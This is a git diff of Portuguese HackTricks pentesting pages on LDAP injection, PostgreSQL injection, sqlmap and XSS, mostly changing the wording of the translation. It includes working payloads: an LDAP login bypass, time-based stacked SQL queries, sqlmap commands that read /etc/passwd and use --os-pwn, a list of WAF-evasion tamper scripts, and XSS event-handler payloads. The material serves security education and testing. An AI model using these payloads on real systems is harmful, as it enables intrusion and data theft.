**ADAM ou Microsoft LDS**: Com 2 filtros, eles lançam um erro.\
|
||||
**SunOne Directory Server 5.0**: Executa ambos os filtros.
|
||||
|
||||
**É muito importante enviar o filtro com a sintaxe correta ou um erro será lançado. É melhor enviar apenas 1 filtro.**
|
||||
**É muito importante enviar o filtro com a sintaxe correta, ou um erro será lançado. É melhor enviar apenas 1 filtro.**
|
||||
|
||||
O filtro deve começar com: `&` ou `|`\
|
||||
Exemplo: `(&(directory=val1)(folder=public))`
|
||||
|
@ -74,7 +74,7 @@ Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o exe
|
|||
|
||||
### Bypass de Login
|
||||
|
||||
O LDAP suporta vários formatos para armazenar a senha: clara, md5, smd5, sh1, sha, crypt. Portanto, pode ser que independentemente do que você inserir na senha, ela seja hashada.
|
||||
O LDAP suporta vários formatos para armazenar a senha: clara, md5, smd5, sh1, sha, crypt. Portanto, pode ser que, independentemente do que você inserir na senha, ela seja hashada.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -166,7 +166,7 @@ Você pode iterar sobre as letras ascii, dígitos e símbolos:
|
|||
|
||||
#### **Descobrir campos LDAP válidos**
|
||||
|
||||
Objetos LDAP **contêm por padrão vários atributos** que podem ser usados para **salvar informações**. Você pode tentar **forçar a entrada em todos eles para extrair essas informações**. Você pode encontrar uma lista de [**atributos LDAP padrão aqui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
Os objetos LDAP **contêm por padrão vários atributos** que podem ser usados para **salvar informações**. Você pode tentar **forçar a entrada em todos eles para extrair essas informações**. Você pode encontrar uma lista de [**atributos LDAP padrão aqui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -223,7 +223,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -231,7 +231,7 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Injeção PostgreSQL
|
||||
# Injeção no PostgreSQL
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
- Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,9 +14,9 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,13 +26,13 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
## Interação de Rede - Escalação de Privilégios, Scanner de Portas, Divulgação de Resposta de Desafio NTLM e Exfiltração
|
||||
|
||||
O módulo **PostgreSQL `dblink`** oferece capacidades para se conectar a outras instâncias do PostgreSQL e executar conexões TCP. Essas funcionalidades, combinadas com a funcionalidade `COPY FROM`, permitem ações como escalonamento de privilégios, varredura de portas e captura de resposta de desafio NTLM. Para métodos detalhados sobre como executar esses ataques, verifique como [realizar esses ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
O módulo **PostgreSQL `dblink`** oferece capacidades para se conectar a outras instâncias do PostgreSQL e executar conexões TCP. Esses recursos, combinados com a funcionalidade `COPY FROM`, permitem ações como escalonamento de privilégios, varredura de portas e captura de resposta de desafio NTLM. Para métodos detalhados sobre como executar esses ataques, verifique como [realizar esses ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exemplo de Exfiltração usando dblink e objetos grandes**
|
||||
|
||||
Você pode [**ler este exemplo**](dblink-lo\_import-data-exfiltration.md) para ver um exemplo de CTF de **como carregar dados dentro de objetos grandes e depois exfiltrar o conteúdo dos objetos grandes dentro do nome de usuário** da função `dblink_connect`.
|
||||
|
||||
## Ataques PostgreSQL: Leitura/escrita, RCE, escalonamento de privilégios
|
||||
## Ataques ao PostgreSQL: Leitura/escrita, RCE, escalonamento de privilégios
|
||||
|
||||
Verifique como comprometer o host e escalar privilégios a partir do PostgreSQL em:
|
||||
|
||||
|
@ -49,7 +49,7 @@ Manipular strings pode ajudá-lo a **burlar WAFs ou outras restrições**.\
|
|||
|
||||
### Consultas Empilhadas
|
||||
|
||||
Lembre-se de que o postgresql suporta consultas empilhadas, mas vários aplicativos lançarão um erro se 2 respostas forem retornadas quando se espera apenas 1. No entanto, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
|
||||
Lembre-se de que o postgresql suporta consultas empilhadas, mas várias aplicações lançarão um erro se 2 respostas forem retornadas quando se espera apenas 1. No entanto, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -64,7 +64,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
|||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Esta função irá despejar todo o banco de dados em formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode causar um ataque de negação de serviço (DoS) nele ou até mesmo em seu próprio cliente):
|
||||
Esta função irá despejar toda a base de dados em formato XML em apenas 1 linha (tenha cuidado se a base de dados for muito grande, pois pode causar um ataque de negação de serviço (DoS) no servidor ou até mesmo no seu próprio cliente):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
@ -84,17 +84,17 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
|
||||
### Aspas proibidas
|
||||
|
||||
Se não puder usar aspas para sua carga útil, você pode contornar isso com `CHR` para cláusulas básicas (_a concatenação de caracteres só funciona para consultas básicas como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL_):
|
||||
Se não puder usar aspas para sua carga útil, você pode contornar isso com `CHR` para cláusulas básicas (_a concatenação de caracteres funciona apenas para consultas básicas como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
Ou com `$`. Estas consultas retornam os mesmos resultados:
|
||||
Ou com `$`. Essas consultas retornam os mesmos resultados:
|
||||
```
|
||||
SELECT 'hacktricks';
|
||||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -110,6 +110,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,19 +4,19 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -118,7 +118,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
|||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Rastreando um site com SQLmap e auto-exploit
|
||||
### Rastreando um site com SQLmap e auto-exploitando
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
|
@ -131,7 +131,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**Leia este post**](second-order-injection-sqlmap.md)**sobre como realizar injeções de segunda ordem simples e complexas com sqlmap.**
|
||||
[**Leia este post**](second-order-injection-sqlmap.md)**sobre como realizar injeções de segunda ordem simples e complexas com o sqlmap.**
|
||||
|
||||
## Personalizando a Injeção
|
||||
|
||||
|
@ -160,34 +160,34 @@ Lembre-se de que **você pode criar sua própria manipulação em python** e é
|
|||
| Tamper | Descrição |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Substitui o caractere apóstrofo pelo seu equivalente UTF-8 de largura total |
|
||||
| apostrophenullencode.py | Substitui o caractere apóstrofo pelo seu equivalente de unicode duplo ilegal |
|
||||
| apostrophenullencode.py | Substitui o caractere apóstrofo pelo seu equivalente de duplo unicode ilegal |
|
||||
| appendnullbyte.py | Adiciona um caractere de byte NULL codificado ao final do payload |
|
||||
| base64encode.py | Codifica em Base64 todos os caracteres em um payload dado |
|
||||
| between.py | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Substitui o caractere de espaço após a instrução SQL por um caractere em branco válido aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE |
|
||||
| chardoubleencode.py | Duplica a codificação de URL de todos os caracteres em um payload dado (sem processar caracteres já codificados) |
|
||||
| bluecoat.py | Substitui o caractere de espaço após a declaração SQL por um caractere de espaço em branco válido aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE |
|
||||
| chardoubleencode.py | Duplica a codificação de URL de todos os caracteres em um payload dado (sem processar caracteres já codificados) |
|
||||
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica em URL todos os caracteres em um payload dado (sem processar caracteres já codificados) |
|
||||
| charunicodeencode.py | Codifica em URL Unicode caracteres não codificados em um payload dado (sem processar caracteres já codificados). "%u0022" |
|
||||
| charunicodeescape.py | Codifica em URL Unicode caracteres não codificados em um payload dado (sem processar caracteres já codificados). "\u0022" |
|
||||
| charencode.py | Codifica em URL todos os caracteres em um payload dado (sem processar caracteres já codificados) |
|
||||
| charunicodeencode.py | Codifica em URL Unicode caracteres não codificados em um payload dado (sem processar caracteres já codificados). "%u0022" |
|
||||
| charunicodeescape.py | Codifica em URL Unicode caracteres não codificados em um payload dado (sem processar caracteres já codificados). "\u0022" |
|
||||
| equaltolike.py | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE' |
|
||||
| escapequotes.py | Escapa as aspas (' e ") |
|
||||
| greatest.py | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Adiciona um comentário versionado do MySQL antes de cada palavra-chave |
|
||||
| greatest.py | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Adiciona comentário versionado do MySQL antes de cada palavra-chave |
|
||||
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Envolve a consulta completa com comentário versionado |
|
||||
| modsecurityzeroversioned.py | Envolve a consulta completa com comentário de versão zero |
|
||||
| multiplespaces.py | Adiciona vários espaços ao redor das palavras-chave SQL |
|
||||
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) |
|
||||
| percentage.py | Adiciona um sinal de porcentagem ('%') na frente de cada caractere |
|
||||
| modsecurityversioned.py | Envolve a consulta completa com comentário versionado |
|
||||
| modsecurityzeroversioned.py | Envolve a consulta completa com comentário sem versão |
|
||||
| multiplespaces.py | Adiciona vários espaços ao redor das palavras-chave SQL |
|
||||
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) |
|
||||
| percentage.py | Adiciona um sinal de porcentagem ('%') na frente de cada caractere |
|
||||
| overlongutf8.py | Converte todos os caracteres em um payload dado (sem processar caracteres já codificados) |
|
||||
| randomcase.py | Substitui cada caractere de palavra-chave por um valor de caixa aleatório |
|
||||
| randomcomments.py | Adiciona comentários aleatórios às palavras-chave SQL |
|
||||
| securesphere.py | Adiciona uma string especial criada |
|
||||
| sp\_password.py | Adiciona 'sp\_password' ao final do payload para obfuscação automática dos logs do DBMS |
|
||||
| space2comment.py | Substitui o caractere de espaço (' ') por comentários |
|
||||
| space2comment.py | Substitui o caractere de espaço (' ') por comentários |
|
||||
| space2dash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma string aleatória e uma nova linha ('\n') |
|
||||
| space2hash.py | Substitui o caractere de espaço (' ') por um caractere de jogo da velha ('#') seguido de uma string aleatória e uma nova linha ('\n') |
|
||||
| space2morehash.py | Substitui o caractere de espaço (' ') por um caractere de jogo da velha ('#') seguido de uma string aleatória e uma nova linha ('\n') |
|
||||
|
@ -195,20 +195,20 @@ Lembre-se de que **você pode criar sua própria manipulação em python** e é
|
|||
| space2mssqlhash.py | Substitui o caractere de espaço (' ') por um caractere de jogo da velha ('#') seguido de uma nova linha ('\n') |
|
||||
| space2mysqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| space2mysqldash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma nova linha ('\n') |
|
||||
| space2plus.py | Substitui o caractere de espaço (' ') por um sinal de mais ('+') |
|
||||
| space2plus.py | Substitui o caractere de espaço (' ') por um sinal de mais ('+') |
|
||||
| space2randomblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e) |
|
||||
| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e) |
|
||||
| unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
|
||||
| unmagicquotes.py | Substitui o caractere de aspas (') por uma combinação multibyte %bf%27 junto com um comentário genérico no final (para funcionar) |
|
||||
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúscula 'INSERT' |
|
||||
| varnish.py | Adiciona um cabeçalho HTTP 'X-originating-IP' |
|
||||
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúscula 'INSERT' |
|
||||
| varnish.py | Adiciona um cabeçalho HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Envolve cada palavra-chave não funcional com comentário versionado do MySQL |
|
||||
| versionedmorekeywords.py | Envolve cada palavra-chave com comentário versionado do MySQL |
|
||||
| xforwardedfor.py | Adiciona um cabeçalho HTTP falso 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, invadir sistemas e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -218,8 +218,8 @@ Lembre-se de que **você pode criar sua própria manipulação em python** e é
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -12,26 +12,26 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
|
|||
2. **Encontre o contexto** onde está sendo refletido/usado.
|
||||
3. Se **refletido**
|
||||
1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload:
|
||||
1. Em **HTML puro**:
|
||||
1. Em **HTML bruto**:
|
||||
1. Você pode criar novas tags HTML?
|
||||
2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
|
||||
3. Você pode contornar proteções?
|
||||
4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md).
|
||||
5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Marcação Pendente - Injeção de HTML sem script**](../dangling-markup-html-scriptless-injection/).
|
||||
2. Dentro de uma **tag HTML**:
|
||||
1. Você pode sair para o contexto de HTML puro?
|
||||
1. Você pode sair para o contexto de HTML bruto?
|
||||
2. Você pode criar novos eventos/atributos para executar código JS?
|
||||
3. O atributo onde você está preso suporta a execução de JS?
|
||||
4. Você pode contornar proteções?
|
||||
3. Dentro do **código JavaScript**:
|
||||
1. Você pode escapar da tag `<script>`?
|
||||
2. Você pode escapar da string e executar código JS diferente?
|
||||
2. Você pode escapar da string e executar um código JS diferente?
|
||||
3. Seus inputs estão em literais de modelo \`\`?
|
||||
4. Você pode contornar proteções?
|
||||
4. Função **JavaScript** sendo **executada**
|
||||
4. **Função** JavaScript sendo **executada**
|
||||
1. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)`
|
||||
4. Se **usado**:
|
||||
1. Você poderia explorar um **DOM XSS**, preste atenção em como sua entrada é controlada e se sua entrada **controlada é usada por algum sink**.
|
||||
1. Você poderia explorar um **DOM XSS**, preste atenção em como seu input é controlado e se seu **input controlado é usado por algum sink**.
|
||||
|
||||
Ao trabalhar em um XSS complexo, pode ser interessante saber sobre:
|
||||
|
||||
|
@ -43,27 +43,27 @@ Ao trabalhar em um XSS complexo, pode ser interessante saber sobre:
|
|||
|
||||
Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página da web.
|
||||
|
||||
* **Refletido intermediariamente**: Se você descobrir que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderá explorar um **XSS Refletido**.
|
||||
* **Armazenado e refletido**: Se você descobrir que um valor controlado por você está salvo no servidor e é refletido toda vez que você acessa uma página, você poderá explorar um **XSS Armazenado**.
|
||||
* **Acessado via JS**: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderá explorar um **DOM XSS**.
|
||||
* **Refletido intermediariamente**: Se você encontrar que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderá explorar um **XSS Refletido**.
|
||||
* **Armazenado e refletido**: Se você encontrar que um valor controlado por você está salvo no servidor e é refletido toda vez que você acessa uma página, você poderá explorar um **XSS Armazenado**.
|
||||
* **Acessado via JS**: Se você encontrar que um valor controlado por você está sendo acessado usando JS, você poderá explorar um **DOM XSS**.
|
||||
|
||||
## Contextos
|
||||
|
||||
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde sua entrada está sendo refletida**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
|
||||
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde seu input está sendo refletido**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
|
||||
|
||||
### HTML Puro
|
||||
### HTML Bruto
|
||||
|
||||
Se sua entrada está **refletida no HTML puro** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
|
||||
Se seu input está **sendo refletido no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
|
||||
Além disso, tenha em mente a [Injeção de Modelo do Lado do Cliente](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro do atributo das tags HTML
|
||||
|
||||
Se sua entrada é refletida dentro do valor do atributo de uma tag, você poderia tentar:
|
||||
Se seu input está refletido dentro do valor do atributo de uma tag, você poderia tentar:
|
||||
|
||||
1. **Escapar do atributo e da tag** (então você estará no HTML puro) e criar uma nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **puder escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então, dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se sua entrada é refletida dentro de "**tags inexploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **puder escapar do atributo mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se seu input está refletido dentro de "**tags inexploráveis**" você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemplo estranho de Angular executando XSS se você controla um nome de classe:
|
||||
```html
|
||||
|
@ -76,11 +76,11 @@ Exemplo estranho de Angular executando XSS se você controla um nome de classe:
|
|||
Neste caso, a sua entrada é refletida entre as tags **`<script> [...] </script>`** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
|
||||
|
||||
